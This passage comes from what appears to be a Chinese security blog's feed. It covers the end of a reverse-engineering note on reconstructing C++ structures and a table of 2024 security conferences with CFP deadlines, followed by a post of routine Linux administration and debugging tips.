class="keyword">this</span> + <span class="number">3</span>) = <span class="number">0</span>i64;</span><br><span class="line"> *((_QWORD *)<span class="keyword">this</span> + <span class="number">4</span>) = <span class="number">0</span>i64;</span><br><span class="line"> *((_QWORD *)<span class="keyword">this</span> + <span class="number">5</span>) = <span class="number">0</span>i64;</span><br><span class="line"> *((_DWORD *)<span class="keyword">this</span> + <span class="number">12</span>) = <span class="number">0</span>;</span><br><span class="line"> *((_QWORD *)<span class="keyword">this</span> + <span class="number">7</span>) = <span class="number">0</span>i64;</span><br><span class="line"> *((_QWORD *)<span class="keyword">this</span> + <span class="number">8</span>) = <span class="number">0</span>i64;</span><br></pre></td></tr></table></figure><p>很明显是两个类, 一个类的virtual table 是 <code>IWSDMessageBusNotify</code>, 一个是 <code>IWSDSessionInternal</code>.</p><p>因此, 先以this创建结构体, 假设名为<code>a1</code>, </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">a1</span>&#123;</span></span><br><span class="line">    _QWORD field_0;</span><br><span class="line">    _QWORD field_8;</span><br><span class="line">    ....</span><br><span class="line">     _QWORD field_40;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>然后取+8开始字段, 创建新结构体, 假设命名成<code>a2</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">a2</span>&#123;</span></span><br><span class="line">    _QWORD field_8;</span><br><span class="line">    ....</span><br><span class="line">    _QWORD field_40;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>将a1重新修改为</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">a1</span>&#123;</span></span><br><span class="line">    _QWORD field_0h;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">a2</span> <span class="title">field_8h</span>;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后遇到引用子类的函数时, 也好处理了.</p></blockquote><h1 id="会议参考"><a href="#会议参考" class="headerlink" title="会议参考"></a>会议参考</h1><p>有时候想发议题了, 发现议题cfp结束了, 就很无语, 列一下我知道会议(毕竟了解的不多, 有遗漏的话, 只是因为我了解的不够多, 还望见谅), 以后可以关注一下</p><table><thead><tr><th>会议名称</th><th>2024年举办时间</th><th>举办地点</th><th>CFP截止日期</th><th>演讲支持</th><th>备注</th></tr></thead><tbody><tr><td><a href="https://www.secwest.net/">CanSecWest</a></td><td>3&#x2F;20</td><td>加拿大</td><td>2023&#x2F;12&#x2F;30</td><td>差旅住宿</td><td>全程一个会场</td></tr><tr><td><a href="https://zer0con.org/">Zer0Con</a></td><td>4&#x2F;4</td><td>韩国</td><td>3&#x2F;5</td><td>$2000+差旅住宿</td><td>硬核</td></tr><tr><td><a href="https://www.blackhat.com/">Black Hat Asia</a></td><td>4&#x2F;17</td><td>新加坡</td><td>2023&#x2F;12&#x2F;22</td><td>$1000+差旅住宿</td><td>多个会场(如果感兴趣议题冲突, 就无法都看)</td></tr><tr><td><a href="https://typhooncon.com/">TyphoonCon</a></td><td>5&#x2F;30</td><td>韩国</td><td>3&#x2F;1</td><td>差旅住宿</td><td></td></tr><tr><td><a href="https://cfp.offensivecon.org/">OffensiveCon</a></td><td>5&#x2F;10</td><td>德国柏林</td><td>4&#x2F;2</td><td>演讲费1000欧元+差旅住宿</td><td>硬核</td></tr><tr><td><a href="https://www.geekcon.top/">GeekCon</a></td><td>5&#x2F;25</td><td>不固定(24年新加坡)</td><td>4&#x2F;20</td><td>$1200+差旅住宿</td><td></td></tr><tr><td><a href="https://offbyone.sg/">OffByOne</a></td><td>6&#x2F;26</td><td>新加坡</td><td>3&#x2F;2</td><td>差旅住宿</td><td></td></tr><tr><td><a href="https://recon.cx/">REcon</a></td><td>6&#x2F;28</td><td>加拿大</td><td>4&#x2F;26</td><td>$1000演讲费+差旅住宿</td><td></td></tr><tr><td><a href="https://www.blackhat.com/">Black Hat USA</a></td><td>8&#x2F;7</td><td>美国洛杉矶</td><td>4&#x2F;10</td><td>$1000演讲费+差旅住宿</td><td></td></tr><tr><td><a href="https://conference.hitb.org/">HITBSecConf BangKok</a></td><td>8&#x2F;29</td><td>曼谷</td><td>4&#x2F;30</td><td>演讲费不详+差旅住宿</td><td>hitb 有多个会议, 这里是其中一个, 不同会议时间和地点都不一样</td></tr><tr><td><a href="https://powerofcommunity.net/">PoC</a></td><td>11月</td><td>韩国</td><td>10&#x2F;15</td><td>不详</td><td></td></tr><tr><td><a href="https://www.blackhat.com/">Black Hat Euro</a></td><td>12&#x2F;9</td><td>英国伦敦</td><td>不确定</td><td>$1000演讲费+差旅住宿</td><td></td></tr><tr><td><a href="https://cfp.hexacon.fr/">hexacon</a></td><td>10&#x2F;4</td><td>法国巴黎</td><td>6月或者5月</td><td>不确定</td><td></td></tr><tr><td><a href="https://hitcon.org/">HITCON</a></td><td>8&#x2F;19</td><td>台湾</td><td>不确定</td><td>不确定</td><td></td></tr><tr><td><a href="https://mosec.org/">MOSEC</a></td><td>11月</td><td>上海</td><td>不清楚</td><td>不清楚</td><td></td></tr><tr><td><a href="https://www.districtcon.org/cfp">districtcon</a></td><td>2025&#x2F;2&#x2F;21</td><td>美国华盛顿</td><td>2024&#x2F;11&#x2F;01</td><td>不清楚</td><td></td></tr><tr><td><a href="https://thesascon.com/papers">SAS2024</a></td><td>2024&#x2F;10&#x2F;21</td><td>印尼巴厘岛</td><td>2024&#x2F;8&#x2F;15</td><td>不清楚</td><td></td></tr></tbody></table><p>其它的我觉得和我想象的技术会议有点不太一样, 有兴趣的可以自己关注一下, 比如: <a href="https://forum.defcon.org/search?searchJSON=%7B%22tag%22:%5B%22cfp%22%5D%7D">DEFCON</a>, <a href="https://www.infosecurityeurope.com/">InfoSec</a></p><p>其它会议: <a href="vxcon.hk">vxcon</a>香港, <a href="rootcon.org">rootcon</a>菲律宾, <a href="https://grehack.fr/">GreHack</a>法国, <a href="https://insomnihack.ch/">Insomni’hack</a>瑞士</p>]]></content>
    
    
      
      
    <summary type="html">&lt;span id=&quot;more&quot;&gt;&lt;/span&gt;

&lt;blockquote&gt;
&lt;p&gt;记录一些有意思的bug成因, 积攒经验值. 不定期更新&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;printf-fmt&quot;&gt;&lt;a href=&quot;#printf-fmt&quot; class=&quot;head</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>Linux 使用技巧</title>
    <link href="http://474172261.github.io/2023/02/22/linux-skill/"/>
    <id>http://474172261.github.io/2023/02/22/linux-skill/</id>
    <published>2023-02-22T11:54:44.212Z</published>
    <updated>2024-07-01T07:25:46.400Z</updated>
    
    <content type="html"><![CDATA[<span id="more"></span><blockquote><p>不定期更新</p></blockquote><h2 id="两个linux文件互传"><a href="#两个linux文件互传" class="headerlink" title="两个linux文件互传"></a>两个linux文件互传</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ scp -r linux-2.6.26 root@(目标ip)IP:/usr/src/(假设放到/usr/src路径)</span><br></pre></td></tr></table></figure><h2 id="文件查找"><a href="#文件查找" class="headerlink" title="文件查找"></a>文件查找</h2><p>将当前目录及其子目录下所有文件后缀为 .c 的文件列出来:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ find . -name &quot;*.c&quot;</span><br></pre></td></tr></table></figure><blockquote><p>find默认不查找软链接的文件夹, 所以, 可以加<code>-L</code>解决这个问题, 这个很重要!!!!!!</p></blockquote><h2 id="将一个本地程序做成一个本地服务程序"><a href="#将一个本地程序做成一个本地服务程序" class="headerlink" title="将一个本地程序做成一个本地服务程序"></a>将一个本地程序做成一个本地服务程序</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ socat tcp-l:2333,reuseaddr,fork <span class="built_in">exec</span>:./pwn1</span><br></pre></td></tr></table></figure><p>服务端口在2333，使用nc 127.0.0.1 2333连接</p><h2 id="获取ubuntu当前内核的源码"><a href="#获取ubuntu当前内核的源码" class="headerlink" title="获取ubuntu当前内核的源码"></a>获取ubuntu当前内核的源码</h2><p>进入<a href="https://launchpad.net/ubuntu/">lauchpad</a>, 分清你的系统名称, 比如 20.04 叫 Focal Fossa, 系统当前版本:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">uname</span> -r</span><br><span class="line">5.13.0-35-generic</span><br></pre></td></tr></table></figure><p>那么我们在页面的以下部分会看到以下部分的内容</p><p><strong>Active series and milestones</strong></p><ul><li><p><strong><a href="https://launchpad.net/ubuntu/jammy">22.04 “Jammy” series </a></strong>- development<br>Milestones: <a href="https://launchpad.net/ubuntu/+milestone/jammy-updates">jammy-updates</a>, <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-22.04">ubuntu-22.04</a>, <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-22.04-beta">ubuntu-22.04-beta</a>, <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-22.03">ubuntu-22.03</a>, <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-22.02">ubuntu-22.02</a>, <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-22.04-feature-freeze">ubuntu-22.04-feature-freeze</a>, <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-22.01">ubuntu-22.01</a>, <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-21.12">ubuntu-21.12</a>, and <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-21.11">ubuntu-21.11</a></p></li><li><p><strong><a href="https://launchpad.net/ubuntu/impish">21.10 “Impish” series </a></strong>- current<br>Milestones: <a href="https://launchpad.net/ubuntu/+milestone/impish-updates">impish-updates</a></p></li><li><p><strong><a href="https://launchpad.net/ubuntu/focal">20.04 “Focal” series </a></strong>- supported &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;<br>Milestones: <a href="https://launchpad.net/ubuntu/+milestone/focal-updates">focal-updates</a> and <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-20.04.4">ubuntu-20.04.4</a></p></li><li><p><strong><a href="https://launchpad.net/ubuntu/bionic">18.04 “Bionic” series </a></strong>- supported<br>Milestones: <a href="https://launchpad.net/ubuntu/+milestone/bionic-updates">bionic-updates</a></p></li><li><p><strong><a href="https://launchpad.net/ubuntu/xenial">16.04 “Xenial” series </a></strong>- supported<br>Milestones: <a href="https://launchpad.net/ubuntu/+milestone/xenial-updates">xenial-updates</a></p></li><li><p><strong><a href="https://launchpad.net/ubuntu/trusty">14.04 “Trusty” series </a></strong>- supported<br>Milestones: <a href="https://launchpad.net/ubuntu/+milestone/ubuntu-14.04.6">ubuntu-14.04.6</a></p></li><li><p><a href="https://launchpad.net/ubuntu/+series">All series</a> </p></li><li><p><a href="https://launchpad.net/ubuntu/+milestones">All milestones</a></p></li></ul><p>点击其中的<code>focal series</code>, 会出现搜索框, 我们就搜索<code>linux-image-5.13.0-35-generic</code>, 会得到如下几个结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"> linux-image-5.13.0-35-generic: &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span><br><span class="line">Signed kernel image generic</span><br><span class="line"> linux-image-5.13.0-35-generic-dbgsym:</span><br><span class="line">Signed kernel image generic</span><br><span class="line"> linux-image-5.13.0-35-generic-lpae:</span><br><span class="line">Linux kernel image for version 5.13.0 on ARM (hard float) SMP</span><br><span class="line"> linux-image-5.13.0-35-generic-lpae-dbgsym:</span><br><span class="line">Linux kernel debug image for version 5.13.0 on ARM (hard float) SMP</span><br><span class="line"> linux-image-5.13.0-35-generic-64k:</span><br><span class="line">Signed kernel image generic-64k</span><br><span class="line"> linux-image-5.13.0-35-generic-64k-dbgsym:</span><br><span class="line">Signed kernel image generic-64k</span><br></pre></td></tr></table></figure><p>选择第一个, 出现如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Signed kernel image generic</span><br><span class="line"> A kernel image for generic. This version of it is signed with</span><br><span class="line"> Canonical&#x27;s UEFI/Opal signing key.</span><br><span class="line"></span><br><span class="line">Source package</span><br><span class="line">linux-signed-hwe-5.13 5.13.0-35.40~20.04.1 source package in Ubuntu  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span><br><span class="line"></span><br><span class="line">Published versions</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in amd64 (Updates)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in amd64 (Security)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in arm64 (Updates)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in arm64 (Security)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in armhf (Updates)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in armhf (Security)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in ppc64el (Updates)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in ppc64el (Security)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in s390x (Updates)</span><br><span class="line">linux-image-5.13.0-35-generic 5.13.0-35.40~20.04.1 in s390x (Security)</span><br></pre></td></tr></table></figure><p>此处我选Source package下的链接. 之后选择downloads里的tar.xz文件即可.</p><blockquote><p>这个版本的文件里包含的是一个下载脚本, 并没有包含完整的src文件. 所以还是需要想想其它办法直接获得文件最好.</p></blockquote><h2 id="快速转换图片格式，修改分辨率"><a href="#快速转换图片格式，修改分辨率" class="headerlink" title="快速转换图片格式，修改分辨率"></a>快速转换图片格式，修改分辨率</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ convert -resize 100x100 src.jpg dst.jpg</span><br><span class="line">$ convert -resize 50%x50% src.jpg dst.jpg</span><br></pre></td></tr></table></figure><h2 id="修改文件的用户"><a href="#修改文件的用户" class="headerlink" title="修改文件的用户"></a>修改文件的用户</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">查看归属：</span><br><span class="line">$ <span class="built_in">ls</span> -l file</span><br><span class="line"></span><br><span class="line">赋给用户hv</span><br><span class="line">$ <span class="built_in">chown</span> hv:hv file</span><br><span class="line"></span><br><span class="line">如果需要把某个文件夹下所有都付给某个用户</span><br><span class="line">$ <span class="built_in">chown</span> hv:hv -R <span class="built_in">dir</span>/*</span><br></pre></td></tr></table></figure><h2 id="使用audit记录创建的程序"><a href="#使用audit记录创建的程序" class="headerlink" title="使用audit记录创建的程序"></a>使用audit记录创建的程序</h2><p>audit是记录linux审计信息的内核模块。<br>他记录系统中的各种动作和事件，比如系统调用，文件修改，执行的程序，系统登入登出和记录所有系统中所有的事件。audit还可以将审计记录写入日志文件。</p><p>如果想记录新创建的process, 可以直接修改<code>/etc/audit/audit.rules</code>, 添加一行<code>-a task,always</code>, 之后通过<code>cat /var/log/audit/audit.log|grep EXECVE</code> 来筛选你想要的记录.</p><p>比如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ auditctl -a exit,always -F arch=b64 -S execve 添加execve检测</span><br><span class="line">$ auditctl -D 删除所有规则</span><br></pre></td></tr></table></figure><p>更多可以参考<a href="https://www.cnblogs.com/gean/p/13749550.html">linux监控工具audit</a></p><h2 id="修改terminal的显示路径"><a href="#修改terminal的显示路径" class="headerlink" title="修改terminal的显示路径"></a>修改terminal的显示路径</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ vim ~/.bashrc</span><br></pre></td></tr></table></figure><p>找到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">## If this is an xterm set the title to user@host:dir</span><br><span class="line">case “$TERM” in</span><br><span class="line">xterm|rxvt)</span><br><span class="line">PS1=”\e]0;$debianchroot:+($debianchroot)\u@\h:\w\a$PS1”</span><br></pre></td></tr></table></figure><p>将PS1那行修改为(其实就是把w换成W)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PS1=”[\u@\h:\W]\\$”</span><br></pre></td></tr></table></figure><h2 id="添加环境变量"><a href="#添加环境变量" class="headerlink" title="添加环境变量"></a>添加环境变量</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> PATH=<span class="variable">$PATH</span>:/home/victorv</span><br></pre></td></tr></table></figure><h2 id="创建terminal的快捷键"><a href="#创建terminal的快捷键" class="headerlink" title="创建terminal的快捷键"></a>创建terminal的快捷键</h2><p>如果是在kali，terminal是没有快捷键的，到设置的keyboard里面，添加自定义快捷键，键值为</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gnome-terminal</span><br></pre></td></tr></table></figure><p>或者安装nautilus-open-terminal</p><h2 id="gdb改变汇编代码显示方式"><a href="#gdb改变汇编代码显示方式" class="headerlink" title="gdb改变汇编代码显示方式"></a>gdb改变汇编代码显示方式</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(gdb) set disas intel</span><br></pre></td></tr></table></figure><p>设置反汇编代码使用的指令集，可选择 intel 指令集或 AT&amp;T指令集.</p><h2 id="usb驱动相关"><a href="#usb驱动相关" class="headerlink" title="usb驱动相关"></a>usb驱动相关</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">查找usb驱动</span><br><span class="line">$ sudo lspci</span><br><span class="line">…</span><br><span class="line">02:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 01)</span><br><span class="line">$ find /sys | grep drivers.*02:00</span><br><span class="line"></span><br><span class="line">获取usb设备信息</span><br><span class="line">lsusb -t</span><br><span class="line"><span class="built_in">cat</span> /proc/bus/usb/devices</span><br><span class="line">lshw</span><br><span class="line"></span><br><span class="line">卸载usb驱动</span><br><span class="line">tree /sys/bus/usb/drivers</span><br><span class="line"><span class="built_in">echo</span> -n “1-1:1.0” &gt; /sys/bus/usb/drivers/ub/unbind</span><br></pre></td></tr></table></figure><h2 id="centos安装内核header"><a href="#centos安装内核header" class="headerlink" title="centos安装内核header"></a>centos安装内核header</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install kernel-devel-$(<span class="built_in">uname</span> -r) kernel-headers-$(<span class="built_in">uname</span> -r)</span><br></pre></td></tr></table></figure><p>如果遇到没有搜索结果, 可以做如下操作:</p><ol><li>查看当前版本<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@centos~]<span class="comment"># cat /etc/redhat-release</span></span><br><span class="line">CentOS Linux release 7.4.1708 (Core)</span><br></pre></td></tr></table></figure></li><li>修改文件<code>/etc/yum.repos.d/CentOS-Vault.repo</code>, 添加当前版本的以下信息:<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">[C(Your Version Number)-base] 比如 [C5.6-base]</span><br><span class="line">name=CentOS-(Your Version Number) - Base</span><br><span class="line">baseurl=http://vault.centos.org/(Your Version Number)/os/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5</span><br><span class="line">enabled=1</span><br><span class="line"></span><br><span class="line">[C(Your Version Number-updates]</span><br><span class="line">name=CentOS-(Your Version Number) - Updates</span><br><span class="line">baseurl=http://vault.centos.org/(Your Version Number)/updates/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-5</span><br><span class="line">enabled=1</span><br><span class="line"></span><br><span class="line">示例:</span><br><span class="line">[C7.4.1708-base]</span><br><span class="line">name=CentOS-7.4.1708 - Base</span><br><span class="line">baseurl=https://vault.centos.org/7.4.1708/os/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7</span><br><span class="line">enabled=1</span><br><span class="line"></span><br><span class="line">[C7.4.1708-updates]</span><br><span class="line">name=CentOS-7.4.1708 - Updates</span><br><span class="line">baseurl=https://vault.centos.org/7.4.1708/updates/$basearch/</span><br><span class="line">gpgcheck=1</span><br><span class="line">gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7</span><br><span class="line">enabled=1</span><br></pre></td></tr></table></figure></li></ol><p>之后再试一次install即可.</p><p>更多参考<a href="http://wiki.r1soft.com/display/kb3/Finding+Old+kernel-devel+Packages+For+CentOS">Finding Old kernel-devel Packages For CentOS</a></p><h2 id="添加sudoer-并且取消密码"><a href="#添加sudoer-并且取消密码" class="headerlink" title="添加sudoer 并且取消密码"></a>添加sudoer 并且取消密码</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">superuser ALL=(ALL) NOPASSWD:ALL</span><br><span class="line">superuser ALL=(ALL:ALL) ALL　<span class="comment">#不取消密码</span></span><br></pre></td></tr></table></figure><h2 id="创建ssh服务"><a href="#创建ssh服务" class="headerlink" title="创建ssh服务"></a>创建ssh服务</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ yum -y install openssh-server openssh-clients</span><br><span class="line">$ chkconfig sshd on</span><br><span class="line">$ service sshd start</span><br><span class="line">$ netstat -tulpn | grep :22</span><br><span class="line">$ vi /etc/sysconfig/iptables -A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 22 -j ACCEPT</span><br></pre></td></tr></table></figure><h2 id="创建ftp-服务"><a href="#创建ftp-服务" class="headerlink" title="创建ftp 服务"></a>创建ftp 服务</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install vsftpd</span><br><span class="line">sudo service vsftpd restart</span><br><span class="line">chkconfig vsftpd on</span><br></pre></td></tr></table></figure><h2 id="ubuntu修改内核调试启动项"><a href="#ubuntu修改内核调试启动项" class="headerlink" title="ubuntu修改内核调试启动项"></a>ubuntu修改内核调试启动项</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/default/grub</span><br></pre></td></tr></table></figure><p>在屁股后面添加 kgdboc&#x3D;ttyS1,115200</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">grep menu /boot/grub/grub.cfg</span><br><span class="line">grub-reboot ‘1&gt;3’ </span><br></pre></td></tr></table></figure><p>第一个数字1代表第二行的submenu，第二个3代表submenu的第四个（从0开始）</p><h2 id="挂起一个进程"><a href="#挂起一个进程" class="headerlink" title="挂起一个进程"></a>挂起一个进程</h2><p>ctrl+z<br>fg 恢复</p><h2 id="打包、解压文件"><a href="#打包、解压文件" class="headerlink" title="打包、解压文件"></a>打包、解压文件</h2><p>解包使用x,打包使用c</p><p>tar.xz<br>解包:tar zxvf file.tar.xz 或者:xz -d file.tar.xz &amp;&amp; tar xvf file.tar<br>打包:tar zcvf file.tar.xz</p><p>.tar<br>解包：tar xvf FileName.tar<br>打包：tar cvf FileName.tar DirName<br>（注：tar是打包，不是压缩！）<br>———————————————<br>.gz<br>解压1：gunzip FileName.gz<br>解压2：gzip -d FileName.gz<br>压缩：gzip FileName</p><p>.tar.gz 和 .tgz<br>解压：tar zxvf FileName.tar.gz<br>压缩：tar zcvf FileName.tar.gz DirName<br>———————————————<br>.bz2<br>解压1：bzip2 -d FileName.bz2<br>解压2：bunzip2 FileName.bz2<br>压缩： bzip2 -z FileName</p><p>.tar.bz2<br>解压：tar jxvf FileName.tar.bz2<br>压缩：tar jcvf FileName.tar.bz2 DirName<br>———————————————<br>.bz<br>解压1：bzip2 -d FileName.bz<br>解压2：bunzip2 FileName.bz<br>压缩：未知</p><p>.tar.bz<br>解压：tar jxvf FileName.tar.bz<br>压缩：未知<br>———————————————<br>.Z<br>解压：uncompress FileName.Z<br>压缩：compress FileName<br>.tar.Z</p><p>解压：tar Zxvf FileName.tar.Z<br>压缩：tar Zcvf FileName.tar.Z DirName<br>———————————————<br>.zip<br>解压：unzip FileName.zip<br>压缩：zip FileName.zip DirName<br>———————————————<br>.rar<br>解压：rar x FileName.rar<br>压缩：rar a FileName.rar DirName<br>———————————————<br>.lha<br>解压：lha -e FileName.lha<br>压缩：lha -a FileName.lha FileName<br>———————————————<br>.rpm<br>解包：rpm2cpio FileName.rpm | cpio -div<br>———————————————<br>.deb<br>解包：ar p FileName.deb data.tar.gz | tar zxf -<br>———————————————<br>.tar .tgz .tar.gz .tar.Z .tar.bz .tar.bz2 .zip .cpio .rpm .deb .slp .arj .rar .ace .lha .lzh .lzx .lzs .arc .sda .sfx .lnx .zoo .cab .kar .cpt .pit .sit .sea<br>解压：sEx x FileName.*<br>压缩：sEx a FileName.* FileName</p><h2 id="单独重新编译一个内核模块"><a href="#单独重新编译一个内核模块" class="headerlink" title="单独重新编译一个内核模块"></a>单独重新编译一个内核模块</h2><p>当我们想修改内核某个模块,又不想重新make all的时候,可以这样操作.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make drivers/net/ethernet/intel/e1000/e1000.ko</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">make drivers/net/ethernet/intel/e1000/</span><br></pre></td></tr></table></figure><h2 id="gcc-汇编"><a href="#gcc-汇编" class="headerlink" title="gcc 汇编"></a>gcc 汇编</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">.intel_syntax noprefix # intel 汇编格式</span><br><span class="line">xor eax, eax</span><br><span class="line"></span><br><span class="line">.att_syntax 